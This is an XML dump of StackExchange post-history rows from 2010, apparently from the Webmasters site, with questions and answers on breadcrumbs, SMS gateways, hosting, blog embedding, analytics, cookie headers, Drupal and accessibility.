  <row Id="10363" PostHistoryTypeId="2" PostId="5211" RevisionGUID="98f39b3c-7423-48d1-8410-f13b5bc4eace" CreationDate="2010-11-08T13:31:27.577" UserDisplayName="Moo-Juice" Text="Breadcrumbs are supposed to be representative of your site layout, not how the user is accessing your site, which pretty much rules out option #1.  I'd not like to see this on Amazon:&#xD;&#xA;&#xD;&#xA;    Home&gt;Products&gt;Home&gt;PS3 Games&gt;Call of Duty&gt;PS3 Games&gt;Funky Boxer Shorts-&gt;Add To Cart&#xD;&#xA;&#xD;&#xA;Whilst indicative of my browsing history and OCD clicking, it's not representative of the site :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I assume you have a database-backend, as you mention product categories.  If you have parent categories then you have a structure right there that you can use.  Assuming you have a front page, we can just call that &quot;Home&quot; on the breadcrumb trail.  Then, assuming in your database you have things arranged like this:&#xD;&#xA;&#xD;&#xA;    table_productCategories&#xD;&#xA;        _pkCategoryID&#xD;&#xA;        _categoryName&#xD;&#xA;        _fkParentCategoryID&#xD;&#xA;&#xD;&#xA;Allowing you to have a tree of product categories:&#xD;&#xA;&#xD;&#xA;    Software&#xD;&#xA;        Windows&#xD;&#xA;            Apps&#xD;&#xA;            Games&#xD;&#xA;            Crash-To-Desktop&#xD;&#xA;        Linux&#xD;&#xA;            Servers&#xD;&#xA;            3-Games&#xD;&#xA;    Hardware&#xD;&#xA;        Laptops&#xD;&#xA;        PCs&#xD;&#xA;        Missile-Launchers&#xD;&#xA;&#xD;&#xA;...then whenever you hit the product page, you don't need to worry about if the product is in more than one category, the user navigated there and using a db query we can build a breadcrumb of:&#xD;&#xA;&#xD;&#xA;    Home &gt; Software &gt; Windows &gt; Games &gt; Aunt Dolly and the Scared Sheep&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additionally, you're going to have pages that aren't products.  &quot;About Us&quot;  &quot;Contact Us&quot;, etceteras.  In a CMS the content of these pages are in the database and categorised too.  &#xD;&#xA;&#xD;&#xA;    table_contentCategories&#xD;&#xA;        _pkCategoryID&#xD;&#xA;        _categoryName&#xD;&#xA;        _fkParentCategoryID&#xD;&#xA;&#xD;&#xA;... you get the idea.  This means all your pages with Content rather than products can also be breadcrumbed:&#xD;&#xA;&#xD;&#xA;    Home &gt; About &gt; Finding Us in a web of backstreets&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10364" PostHistoryTypeId="2" PostId="5212" RevisionGUID="65b186a5-8899-4e9a-ba51-34d4575a5b0a" CreationDate="2010-11-08T13:45:06.917" UserDisplayName="AndreKR" Text="Although they are called &quot;breadcrumbs&quot; as in the fairy tale, the purpose of breadcrumbs is not to replace the browser history. So Option 1 is not an option.&#xD;&#xA;&#xD;&#xA;They are rather an instrument to show the user how he found the product and above all how he can find other products that are logically placed &quot;beside&quot; the found product.&#xD;&#xA;&#xD;&#xA;So it's basically Option 2.&#xD;&#xA;&#xD;&#xA;If you have products that are in multiple categories, you have three options:&#xD;&#xA;&#xD;&#xA; - Show all possible paths to the product.&#xD;&#xA; - Show the path the user came to the product. (This requires that you use the primary key of your product-to-category table instead of product IDs.) It implies, that the user will get  hardly helpful &quot;Search &gt; Product&quot; breadcrumbs when searching.&#xD;&#xA; - Specify a &quot;main category&quot; for each product that determines the breadcrumbs shown (and is used in other places, for example when there is a shopping cart and the user clicks a product in the cart view.)" />
  <row Id="10365" PostHistoryTypeId="2" PostId="5210" RevisionGUID="40783cbc-a9b5-4bea-b1eb-a2f18afbb96b" CreationDate="2010-11-08T13:18:13.973" UserDisplayName="vdrmrt" Text="I want to implement breadcrumbs on a website, now I'm struggling on how to best implement them.&#xD;&#xA;&#xD;&#xA;Users can search for products but can also navigate to a product category to find a product. On a product page the user can click on a product category to find similar products. So the users has different paths to reach a specific product / page.&#xD;&#xA;&#xD;&#xA;I think I have two options to implement breadcrumbs&#xD;&#xA;&#xD;&#xA;**Option 1:**&#xD;&#xA;Add every visited page to the breadcrumb. For example: Home &gt; Search Results &gt; product 1 &gt; Category 2 &gt; product 2&#xD;&#xA;Disadvantage: breadcrum can become very long&#xD;&#xA;&#xD;&#xA;**Option 2:**&#xD;&#xA;Specify for every page a specific fixed breadcrumb for example:  Home &gt; category 1 &gt; product 1&#xD;&#xA;Issue: what to do with products that are in multiple categories?&#xD;&#xA;&#xD;&#xA;What are you opinions? Is there option 3 that I have overlooked?&#xD;&#xA;" />
  <row Id="10366" PostHistoryTypeId="1" PostId="5210" RevisionGUID="40783cbc-a9b5-4bea-b1eb-a2f18afbb96b" CreationDate="2010-11-08T13:18:13.973" UserDisplayName="vdrmrt" Text="Recommended approach for implementing breadcrumbs" />
  <row Id="10367" PostHistoryTypeId="3" PostId="5210" RevisionGUID="40783cbc-a9b5-4bea-b1eb-a2f18afbb96b" CreationDate="2010-11-08T13:18:13.973" UserDisplayName="vdrmrt" Text="&lt;web-development&gt;&lt;breadcrumbs&gt;" />
  <row Id="10368" PostHistoryTypeId="17" PostId="5210" RevisionGUID="81c47f77-70cf-4b7c-8fa7-24e2da6a4a17" CreationDate="2010-11-09T00:33:04.843" UserId="-1" Comment="from http://stackoverflow.com/questions/4124170/recommended-approach-for-implementing-breadcrumbs" Text="" />
  <row Id="10373" PostHistoryTypeId="2" PostId="5214" RevisionGUID="e9df292f-a1f6-45ad-9cbc-ea918b72d426" CreationDate="2010-11-09T03:07:51.367" UserId="2235" Text="The way I plan to use it is:&#xD;&#xA;&#xD;&#xA;1. Have people send SMS to a number to vote.&#xD;&#xA;2. On the backend (assuming that the data comes back to my Web server), I will display the voting results on my Web site.&#xD;&#xA;3. After say 10 minutes, I would like to press a button on my Web site so ONE of the people who sent an SMS earlier receive an SMS saying that person is a winner.&#xD;&#xA;&#xD;&#xA;I'm an ASP .Net developer, so I just need an API to code against. One such company I saw that does this (but is limited to US) is:&#xD;&#xA;&#xD;&#xA;- http://www.twilio.com/sms/&#xD;&#xA;&#xD;&#xA;Do you know any international providers that are similar to Twilio SMS? I'm based in **Sydney, Australia**.&#xD;&#xA;&#xD;&#xA;I've looked through the discussion here but could not find any International provider that does what Twilio SMS does:&#xD;&#xA;&#xD;&#xA;- http://webmasters.stackexchange.com/questions/533/how-to-add-sms-text-messaging-functionality-to-my-website&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10374" PostHistoryTypeId="1" PostId="5214" RevisionGUID="e9df292f-a1f6-45ad-9cbc-ea918b72d426" CreationDate="2010-11-09T03:07:51.367" UserId="2235" Text="Send and Receive SMS from my Website" />
  <row Id="10375" PostHistoryTypeId="3" PostId="5214" RevisionGUID="e9df292f-a1f6-45ad-9cbc-ea918b72d426" CreationDate="2010-11-09T03:07:51.367" UserId="2235" Text="&lt;web-development&gt;&lt;web-services&gt;&lt;sms&gt;" />
  <row Id="10376" PostHistoryTypeId="2" PostId="5215" RevisionGUID="57014469-8312-4e31-ba8f-64f59c139089" CreationDate="2010-11-09T04:49:23.917" UserId="2379" Text="Try a google search, the exact phrase you will be looking for is &quot;International SMS Gateway&quot;. &#xD;&#xA;&#xD;&#xA;We also use twilio for a couple apps and have to say nothing beats their level of support and developer friendliness.  Also contact twilio for a reference.  I spoke with them once about SIP programming and they referred me to some great companies.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10377" PostHistoryTypeId="2" PostId="5216" RevisionGUID="3bfa8776-5e8d-46a5-9116-86ce2e142cd1" CreationDate="2010-11-09T05:01:17.223" UserId="3109" Text="To further expand on the above answer, I run a website and I handle that situation a couple of ways:&#xD;&#xA;&#xD;&#xA;1) I have a production server where the live site is running and a development server where I handle development and testing. Only after the changes have been tested do I roll out to the production server&#xD;&#xA;&#xD;&#xA;2) Some form of version control, I use Git with GitHub (github.com). I can maintain branches of code, track revisions, roll back to earlier versions, etc.. Look into it." />
  <row Id="10378" PostHistoryTypeId="2" PostId="5217" RevisionGUID="de675f3a-5c43-4618-9dcc-194835ff98c4" CreationDate="2010-11-09T05:24:11.083" UserId="3109" Text="You should look into Rackspace cloud. I use it and it works. You get dedicated virtual servers with root access and the pricing options, at least for me, were much more affordable than Amazon." />
  <row Id="10379" PostHistoryTypeId="2" PostId="5218" RevisionGUID="7997d149-6857-4a84-9d7c-e9b65aef928b" CreationDate="2010-11-09T08:19:11.603" UserDisplayName="Prabu" Text="Firstly, I know there are alot questions about hosting recommendations. Let me just say I have looked (for this specific case), and couldn't find much. I would assume there are few people making ASP.Net MVC2 apps and would prefer to host it in Australia (local support, latency etc).&#xD;&#xA;&#xD;&#xA;I am after some recommendations/reviews of hosting companies that do mvc in Australia. I want cheap shared hosting around the $20 mark. I also would need a small mssql db as part of the package. Other than that, its all about support and uptime for me.&#xD;&#xA;&#xD;&#xA;I have looked and found the following but haven't a firm feel for any of them yet.&#xD;&#xA;&#xD;&#xA;   1. Studiocoast&#xD;&#xA;   2. webhostforasp&#xD;&#xA;   3. Expeed&#xD;&#xA;   4. aspwebhosting&#xD;&#xA;&#xD;&#xA;Cheers in advance!&#xD;&#xA;" />
  <row Id="10380" PostHistoryTypeId="1" PostId="5218" RevisionGUID="7997d149-6857-4a84-9d7c-e9b65aef928b" CreationDate="2010-11-09T08:19:11.603" UserDisplayName="Prabu" Text="ASP.NET MVC 2 Hosting in Australia" />
  <row Id="10381" PostHistoryTypeId="3" PostId="5218" RevisionGUID="7997d149-6857-4a84-9d7c-e9b65aef928b" CreationDate="2010-11-09T08:19:11.603" UserDisplayName="Prabu" Text="&lt;web-hosting&gt;&lt;shared-hosting&gt;&lt;asp.net-mvc&gt;" />
  <row Id="10382" PostHistoryTypeId="2" PostId="5219" RevisionGUID="8f975daf-80f5-4a9f-8efa-aec63c3bad49" CreationDate="2010-11-09T09:06:50.047" UserId="1757" Text="Facebook is the fastest growing social network right now, and pretty much every major corporation has a facebook page, regardless of their business or whether they're B2C or B2B. So I don't think there's any problem with having a facebook page in terms of looking childish or unprofessional.&#xD;&#xA;&#xD;&#xA;However, I wouldn't create a facebook page just to jump on the social media bandwagon. A facebook page requires regular updates to be effective. Otherwise, you may accrue some fans, but it won't actually do anything for you. The same goes for Twitter or any other social media site.&#xD;&#xA;&#xD;&#xA;Also, don't treat social media as free adspace. People don't subscribe to a facebook page or follow a Twitter account just so they can get ads. SMM is about engaging customers in conversation to find out what your customers want, and also strengthen your brand by providing richer interaction.&#xD;&#xA;&#xD;&#xA;A company that posts exclusive content, responds to fan comments, and gives free stuff on their facebook page will, not only gain lots more fans, but their brand will be a stronger presence in the minds of consumers than a company that just spams their facebook page fans or uses their facebook page as a billboard." />
  <row Id="10383" PostHistoryTypeId="2" PostId="5220" RevisionGUID="a45645eb-f568-486b-bda3-9ca7430ac0cc" CreationDate="2010-11-09T09:13:37.500" UserId="1064" Text="Are you limited to scrambled text CAPTCHA's or will *any* Turing test work?&#xD;&#xA;&#xD;&#xA;It would take more time to implement, but you could use one of the many other variations on challenge-response CAPTCHA in a localized environment.&#xD;&#xA;&#xD;&#xA;My best recommendation would be to use a text-scrambling solution like the one offered by DisgruntledGoat with **math** questions - i.e. a slightly-wavy representation of &quot;1 + 1 = ?&quot; appears... but you have lots of other localization-ready options." />
  <row Id="10384" PostHistoryTypeId="2" PostId="5221" RevisionGUID="32e4978a-e20b-4fdd-ae69-add0593d4994" CreationDate="2010-11-09T10:41:05.057" UserId="233" Text="This [question on Stack Overflow][1] suggests that deleting files should help. If you have multiple WYSIWYG editors, remove all that you don't need. Some of the editor plugins (like fckeditor) have an *unbelievable* number of files.&#xD;&#xA;&#xD;&#xA;However, since it's shared hosting it's likely that the message is caused by the number of files across *all the sites* on the server. I would contact your host about it; they probably have too many sites on one server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/653096/howto-free-inode-usage" />
  <row Id="10385" PostHistoryTypeId="10" PostId="5218" RevisionGUID="1d06f4c5-3aa8-4c7f-9c93-78410fa27150" CreationDate="2010-11-09T11:18:14.430" UserId="3" CloseReasonId="7" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="10386" PostHistoryTypeId="2" PostId="5222" RevisionGUID="dda8ac1e-5102-45e9-8149-abe984a2ac1a" CreationDate="2010-11-09T11:24:04.273" UserId="3114" Text="I've got a blogspot blog. I want to display my posts in my HTML-Based website. What should I do? I've already tried adding it as RSS but failed. I want everything to look natural. I don't want my visitors to notice that I'm writing these in blogspot.&#xD;&#xA;Please help" />
  <row Id="10387" PostHistoryTypeId="1" PostId="5222" RevisionGUID="dda8ac1e-5102-45e9-8149-abe984a2ac1a" CreationDate="2010-11-09T11:24:04.273" UserId="3114" Text="Adding my blog to my website" />
  <row Id="10388" PostHistoryTypeId="3" PostId="5222" RevisionGUID="dda8ac1e-5102-45e9-8149-abe984a2ac1a" CreationDate="2010-11-09T11:24:04.273" UserId="3114" Text="&lt;html&gt;&lt;blog&gt;&lt;blogger&gt;" />
  <row Id="10389" PostHistoryTypeId="2" PostId="5223" RevisionGUID="036848d8-9fbe-414e-a76b-c2e47207826e" CreationDate="2010-11-09T11:50:04.030" UserId="2552" Text="If you're doing this on a static HTML website you'll need to use something like an iFrame or some javascript to scrape the blogspot site for content. I'd go with the iFrame but you'll still see the blogspot header which gives it away you're hosting it there. &#xD;&#xA;&#xD;&#xA;Also I believe it's against the [TOS][1] to edit the content of your blog in a way that hides you're using their service when directly sending users there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.blogger.com/terms.g" />
  <row Id="10390" PostHistoryTypeId="2" PostId="5224" RevisionGUID="68dbe35e-15f4-4800-be6a-affb8b0d2d18" CreationDate="2010-11-09T12:05:58.327" UserId="1757" Text="Why didn't RSS work? That would be the easiest way to do it.&#xD;&#xA;&#xD;&#xA;The other way would be to export your blog and import it to a hosted Wordpress or similar blog install. Read the Blogger documentation on how to export your blog. It should be pretty straightforward." />
  <row Id="10391" PostHistoryTypeId="2" PostId="5225" RevisionGUID="229ba144-cbe8-4e36-aa7d-89d8afbe30bd" CreationDate="2010-11-09T12:33:03.110" UserId="1953" Text="An easy way to get started with an affiliate program is to use an affiliate network they have everything all setup for you as well as a bunch of affiliates you can promote your program to. &#xD;&#xA;&#xD;&#xA;If you're looking to set up your own, it usually works by placing an affiliate ID in the link you give them (IE example.com?id=affiliate1) then when someone visits your site from that link you drop a cookie that says this user is from affiliate1.&#xD;&#xA;&#xD;&#xA;If you are using an open source CMS some of them have affiliate tracking as a built in option or plugin, and there seem to be many options available if you run a Google search for &quot;open source affiliate software&quot; (haven't used any of these myself though)." />
  <row Id="10392" PostHistoryTypeId="2" PostId="5226" RevisionGUID="a848688d-4ce7-4600-b24d-6ae5c71aa3d1" CreationDate="2010-11-09T12:45:42.993" UserId="2288" Text="Not looking to for interface design tools, more a tool to document systems, methods, functions, relationships, etc. Never used anything like UML, but if that's your suggestion, please point me in the direction of a way to rapidly start using it in a way that does not take a month to deploy, and 2-5 days to train others on." />
  <row Id="10393" PostHistoryTypeId="1" PostId="5226" RevisionGUID="a848688d-4ce7-4600-b24d-6ae5c71aa3d1" CreationDate="2010-11-09T12:45:42.993" UserId="2288" Text="Looking for a rapid way to map web-app functionals, suggestions?" />
  <row Id="10394" PostHistoryTypeId="3" PostId="5226" RevisionGUID="a848688d-4ce7-4600-b24d-6ae5c71aa3d1" CreationDate="2010-11-09T12:45:42.993" UserId="2288" Text="&lt;web-development&gt;" />
  <row Id="10395" PostHistoryTypeId="2" PostId="5227" RevisionGUID="0ab35a6e-4eff-4cca-8e47-1d4d4db3cfeb" CreationDate="2010-11-09T13:24:27.080" UserDisplayName="ThinkFloyd" Text="We wanted to monitor load, performance and availability of our e-commerce website which mainly caters to Indian customers. Somebody suggested http://www.gomez.com because it is used by biggies like facebook, linkedIn and Google but I am not sure whether this is of same value for a small company like us so I was looking at other options like www.pingdom.com, www.alertfox.com etc.&#xD;&#xA;What should be criteria to choose such web based monitoring services instead of our good old JMeter, selenium and Nagios?&#xD;&#xA;Any other good monitoring tool(preferably free) which does the same thing as Gomez?" />
  <row Id="10396" PostHistoryTypeId="1" PostId="5227" RevisionGUID="0ab35a6e-4eff-4cca-8e47-1d4d4db3cfeb" CreationDate="2010-11-09T13:24:27.080" UserDisplayName="ThinkFloyd" Text="Why should we use Gomez instead of pingdom.com or alertfox.com" />
  <row Id="10397" PostHistoryTypeId="3" PostId="5227" RevisionGUID="0ab35a6e-4eff-4cca-8e47-1d4d4db3cfeb" CreationDate="2010-11-09T13:24:27.080" UserDisplayName="ThinkFloyd" Text="&lt;testing&gt;&lt;websites&gt;&lt;load&gt;&lt;monitoring&gt;" />
  <row Id="10398" PostHistoryTypeId="17" PostId="5227" RevisionGUID="79e8ab93-23d5-4bae-a178-89159f6928b0" CreationDate="2010-11-09T13:41:30.623" UserId="-1" Comment="from http://stackoverflow.com/questions/4134097/why-should-we-use-gomez-instead-of-pingdom-com-or-alertfox-com" Text="" />
  <row Id="10399" PostHistoryTypeId="2" PostId="5228" RevisionGUID="113ae131-a1e6-4d5e-aa10-b3b6b42ee317" CreationDate="2010-11-09T13:42:34.080" UserId="1757" Text="UML apps only take about 15 minutes to install max. It doesn't take months to deploy. There is a slight learning curve, but there's a reason why UML's the standard way to model software systems. If there were anything that could do what UML does while requiring no time to learn, then nobody would use UML.&#xD;&#xA;&#xD;&#xA;That said, there are some experimental thought-diagramming/mind-mapping tools that don't have so much structure and thus take less time to learn. One that I've tried is [Compendium][1], but it's not very polished and has some major bugs (like crashing when using parts of the demo project).&#xD;&#xA;&#xD;&#xA;Otherwise, you could do what many software developers are doing these days and just diagram workflows/processes (i.e. a flowchart of wireframes). It's argued that this is a better way of designing software (by first designing the interface) than focusing on features. Workflows are user- and goal-oriented. It puts the UI center stage and lets you define the functionality of the app in terms of how users will interact with the site to do what they want. This gets you into a frame of mind that encourages intuitive interfaces and better information architecture.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Compendium_%28software%29" />
  <row Id="10407" PostHistoryTypeId="2" PostId="5230" RevisionGUID="46ae31d9-96dd-4054-a857-a30a22bdf6c3" CreationDate="2010-11-09T12:24:44.043" UserDisplayName="Peleni Paul" Text="I have a site hosted at: http://41.223.52.100/ which i used jbar to display certain text on the page. &#xD;&#xA;&#xD;&#xA; The same page looks great in Firefox &amp; google crome but not in IE8, Can't figure-out why!&#xD;&#xA; Please share your kind inputs, on this.&#xD;&#xA;&#xD;&#xA; Thanks." />
  <row Id="10408" PostHistoryTypeId="1" PostId="5230" RevisionGUID="46ae31d9-96dd-4054-a857-a30a22bdf6c3" CreationDate="2010-11-09T12:24:44.043" UserDisplayName="Peleni Paul" Text="Same page looks great in Firefox &amp; crome But Not in IE8" />
  <row Id="10409" PostHistoryTypeId="3" PostId="5230" RevisionGUID="46ae31d9-96dd-4054-a857-a30a22bdf6c3" CreationDate="2010-11-09T12:24:44.043" UserDisplayName="Peleni Paul" Text="&lt;php&gt;&lt;internet-explorer&gt;&lt;firefox&gt;&lt;javascript&gt;&lt;jquery&gt;" />
  <row Id="10410" PostHistoryTypeId="17" PostId="5230" RevisionGUID="5ed313c1-5bec-47c9-ad79-6f01e24c57cd" CreationDate="2010-11-09T14:23:35.100" UserId="-1" Comment="from http://serverfault.com/questions/199837/same-page-looks-great-in-firefox-crome-but-not-in-ie8" Text="" />
  <row Id="10411" PostHistoryTypeId="2" PostId="5231" RevisionGUID="efee534f-50fb-48c2-9ffc-f98e4fb718bc" CreationDate="2010-11-09T14:25:04.147" UserId="3117" Text="We have an application that cares about the order of set-cookie headers. It shouldn't, since this isn't mandated by the standards and indeed we're getting the headers in various different orders&#xD;&#xA;&#xD;&#xA;So we would like to rewrite the headers in Apache so that the set-cookie headers always appear in a specific order. Is there any way of doing this?&#xD;&#xA;&#xD;&#xA;An ideal solution would be specifically about set-cookie headers, but something that lets us mess with the header order more generally would do too.&#xD;&#xA;" />
  <row Id="10412" PostHistoryTypeId="1" PostId="5231" RevisionGUID="efee534f-50fb-48c2-9ffc-f98e4fb718bc" CreationDate="2010-11-09T14:25:04.147" UserId="3117" Text="Enforcing a specific order for set-cookie headers" />
  <row Id="10413" PostHistoryTypeId="3" PostId="5231" RevisionGUID="efee534f-50fb-48c2-9ffc-f98e4fb718bc" CreationDate="2010-11-09T14:25:04.147" UserId="3117" Text="&lt;apache&gt;&lt;cookie&gt;&lt;http-headers&gt;" />
  <row Id="10414" PostHistoryTypeId="2" PostId="5232" RevisionGUID="a1b0cf42-2117-4ce1-b949-6acee21ac27c" CreationDate="2010-11-09T14:53:41.283" UserId="2209" Text="Position should be *absolute* in the message id tag, not *fixed*. As for the rounded corners, it is currently not supported in IE." />
  <row Id="10415" PostHistoryTypeId="2" PostId="5233" RevisionGUID="c10b80b2-292f-40e4-ac69-99e59a976924" CreationDate="2010-11-09T15:20:05.563" UserId="3118" Text="I came across a website today that uses Drupal. When looking at their [contact page][1] I noticed it's build up in a pretty complex way (columns, consistent styles, icons next to phone numbers). In theory it could be possible for a user (not the webdesigner) to create all this html by hand but I doubt that.&#xD;&#xA;&#xD;&#xA;Since I'm a complete newbie when it comes to Drupal, I don't know all of the functionality it contains. Could anyone tell me how this page was likely created? Using a custom module or some other feature I don't know about?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://eurocross.nl/en/contact" />
  <row Id="10416" PostHistoryTypeId="1" PostId="5233" RevisionGUID="c10b80b2-292f-40e4-ac69-99e59a976924" CreationDate="2010-11-09T15:20:05.563" UserId="3118" Text="How to build this complex page?" />
  <row Id="10417" PostHistoryTypeId="3" PostId="5233" RevisionGUID="c10b80b2-292f-40e4-ac69-99e59a976924" CreationDate="2010-11-09T15:20:05.563" UserId="3118" Text="&lt;drupal&gt;" />
  <row Id="10418" PostHistoryTypeId="2" PostId="5234" RevisionGUID="25385f5c-151d-41ab-898d-68c82374f78e" CreationDate="2010-11-09T15:22:48.853" UserId="2713" Text="I would suggest that you use your blogspot blog with a custom domain name.&#xD;&#xA;It could also be a subdomain. E.g. blog.example.com  where example.com is your website.&#xD;&#xA;Here is the official site, which explains, what to do:&#xD;&#xA;[http://www.google.com/support/blogger/bin/answer.py?hl=en&amp;answer=55373][1]&#xD;&#xA;&#xD;&#xA;Best wishes,&#xD;&#xA;&#xD;&#xA;Adam&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/blogger/bin/answer.py?hl=en&amp;answer=55373" />
  <row Id="10419" PostHistoryTypeId="2" PostId="5235" RevisionGUID="bd96c64f-bed4-4a75-83d2-57e1481dff5b" CreationDate="2010-11-09T15:29:59.400" UserId="2096" Text="Last Wednesday we changed the domain name of the Analytics cookie used on our online retail site to be able to better track our outsourced on-site search.&#xD;&#xA;&#xD;&#xA;Following some discrepancies in the traffic origin we changed this back yesterday morning. Subsequently we have a vastly increased level of visits on our site - up to around 60,000/day from 20,000/day.  Might we be double tracking somehow or something similar?&#xD;&#xA;&#xD;&#xA;It may or may not be relevant, but we've introduced server load balancing in the past couple of days.  Is this likely to have had any effect? " />
  <row Id="10420" PostHistoryTypeId="1" PostId="5235" RevisionGUID="bd96c64f-bed4-4a75-83d2-57e1481dff5b" CreationDate="2010-11-09T15:29:59.400" UserId="2096" Text="Google Analytics: 300% direct traffic increase - due to load balancing or tracking code change? " />
  <row Id="10421" PostHistoryTypeId="3" PostId="5235" RevisionGUID="bd96c64f-bed4-4a75-83d2-57e1481dff5b" CreationDate="2010-11-09T15:29:59.400" UserId="2096" Text="&lt;google-analytics&gt;&lt;traffic&gt;&lt;cookie&gt;&lt;tracking&gt;" />
  <row Id="10422" PostHistoryTypeId="2" PostId="5236" RevisionGUID="70650dbf-361b-4bcb-97c8-efccba131072" CreationDate="2010-11-09T16:10:35.433" UserId="3120" Text="A provider supporting both [MO &amp; MT messaging][1] (Mobile Originating and Terminating, respectively) is [Clickatell.][2]  Based on your intentions, I believe you're looking for [long code][3] support, which Clickatell definitely does.&#xD;&#xA;&#xD;&#xA;Related reading that will assist:&#xD;&#xA;&#xD;&#xA; - [Clickatell's API documentation][4], including HTTP/S, FTP, SMTP, etc.&#xD;&#xA; - [Clickatell's &quot;callback&quot; functionality][5], to speak back to your application/server&#xD;&#xA; - [Wikipedia Long vs Short code comparison][6], for those curious of the difference&#xD;&#xA;&#xD;&#xA;And, of course, my inevitable disclaimer: I am currently employed by Clickatell.  Nevertheless (and perhaps directly because of my insight into the messaging engine), I wholeheartedly stand by my recommendation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Text_message#Text_Messaging_Gateway_Providers&#xD;&#xA;  [2]: http://www.clickatell.com&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Long_number&#xD;&#xA;  [4]: http://www.clickatell.com/developers/clickatell_api.php-&#xD;&#xA;  [5]: http://docs.google.com/viewer?a=v&amp;q=cache:nRu_lWdZS8sJ:www.clickatell.com/downloads/http/Clickatell_HTTP.pdf+callback&amp;hl=en&amp;pid=bl&amp;srcid=ADGEESgJH_c4EnDn3iCMh9ID1fqBzHXqhoLdYhIXv8nf9IJ_vZEBr7ia9MoS4hHu7Gm1I0AJf-FbyOGtZOsxHAVLkG3j_l34w6kpJv7PH-3TQOqb169yQv5BA2KBybXeLaoMGKknerUI&amp;sig=AHIEtbT5XKCD8WJOSH0bm9RObD3UJrzyQw-&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Long_number#Long_Numbers_vs._Short_Codes" />
  <row Id="10423" PostHistoryTypeId="5" PostId="5231" RevisionGUID="96fe057b-9202-438b-af77-094d56e670c9" CreationDate="2010-11-09T16:27:30.797" UserId="3117" Comment="deleted 12 characters in body; edited title" Text="We have an application that cares about the order of cookie headers. It shouldn't, since this isn't mandated by the standards and indeed we're getting the headers in various different orders&#xD;&#xA;&#xD;&#xA;So we would like to rewrite the headers in Apache so that the cookie headers always appear in a specific order. Is there any way of doing this?&#xD;&#xA;&#xD;&#xA;An ideal solution would be specifically about cookie headers, but something that lets us mess with the header order more generally would do too.&#xD;&#xA;" />
  <row Id="10424" PostHistoryTypeId="4" PostId="5231" RevisionGUID="96fe057b-9202-438b-af77-094d56e670c9" CreationDate="2010-11-09T16:27:30.797" UserId="3117" Comment="deleted 12 characters in body; edited title" Text="Enforcing a specific order for cookie headers" />
  <row Id="10425" PostHistoryTypeId="2" PostId="5237" RevisionGUID="7198a36b-7459-4392-a547-28e078b94c0e" CreationDate="2010-11-09T16:52:27.990" UserId="239" Text="Say I'm going to link to another site using the phrase &quot;banana split and chocolate sauce&quot;.  Is my &quot;vote&quot; evenly split between &quot;banana split&quot; and &quot;chocolate sauce&quot; or is this much weaker than if I had just voted for &quot;banana split&quot; in the first place?&#xD;&#xA;" />
  <row Id="10426" PostHistoryTypeId="1" PostId="5237" RevisionGUID="7198a36b-7459-4392-a547-28e078b94c0e" CreationDate="2010-11-09T16:52:27.990" UserId="239" Text="Roughly, how strong is a soft vote versus a hard vote for keywords?" />
  <row Id="10427" PostHistoryTypeId="3" PostId="5237" RevisionGUID="7198a36b-7459-4392-a547-28e078b94c0e" CreationDate="2010-11-09T16:52:27.990" UserId="239" Text="&lt;seo&gt;" />
  <row Id="10428" PostHistoryTypeId="2" PostId="5238" RevisionGUID="f47803c0-e514-431f-900d-88a40bfcdbf7" CreationDate="2010-11-09T16:54:03.327" UserId="2574" Text="I would like to be able to have an admin be assigned to a case that is in a group that user is not a part of. In Open Atrium. Is this possible?" />
  <row Id="10429" PostHistoryTypeId="1" PostId="5238" RevisionGUID="f47803c0-e514-431f-900d-88a40bfcdbf7" CreationDate="2010-11-09T16:54:03.327" UserId="2574" Text="In Open Atrium is there a way to assign a user to a case that user is not in?" />
  <row Id="10430" PostHistoryTypeId="3" PostId="5238" RevisionGUID="f47803c0-e514-431f-900d-88a40bfcdbf7" CreationDate="2010-11-09T16:54:03.327" UserId="2574" Text="&lt;drupal&gt;" />
  <row Id="10431" PostHistoryTypeId="6" PostId="5238" RevisionGUID="6d0905f2-387b-46f1-a57d-c63c831f30f2" CreationDate="2010-11-09T16:59:00.800" UserId="1253" Comment="Added open-atrium tag" Text="&lt;drupal&gt;" />
  <row Id="10432" PostHistoryTypeId="2" PostId="5239" RevisionGUID="3f33707d-c2dc-4468-a7c2-e0084f11eada" CreationDate="2010-11-09T17:18:28.880" UserId="233" Text="The HTML/CSS isn't massively complex; it's quite likely it was written by hand. I mean, &quot;consistent styling&quot; is exactly what CSS is designed for.&#xD;&#xA;&#xD;&#xA;I don't think it would be the result of a Drupal plugin, because the variation between sections and columns is too much. The only way to find out for definite would be to ask the people behind the website." />
  <row Id="10433" PostHistoryTypeId="5" PostId="5199" RevisionGUID="8967ada9-9c0f-47fe-9ede-5e5a70f739d7" CreationDate="2010-11-09T17:21:26.880" UserId="2481" Comment="explained in depth" Text="I've thought about it and decided against it. You should make the website accessible meaning that you provide all the meaningful content but it does NOT mean you have to add a font-resizing widget, a contrast widget, etc. It's already built in the OS/Browser. They HAVE to learn how to use them and learn that it works for ALL websites, not just yours. It's a responsibility for all disabled people - I work with the blind, the deaf (I am deaf myself), and I am so annoyed that people who think that they should do everything to provide accessibility have no clue what it's REALLY about. &#xD;&#xA;&#xD;&#xA;Disabled people do have to learn on their own to take advantage of the BUILT IN accessibility features and it's BAD when every website has its own widgets to cater to them. Think about it - you have a person who is far-sighted and that can be corrected with a pair of eyeglasses. Do you provide glasses for them while on your website then take them away when they leave the site? NO! It's a WRONG way to teach the disabled. I teach them HOW to use the Web with the built in accessibility features. They'd appreciate THAT kind of independence more because they realize it works for ALL accessible websites. " />
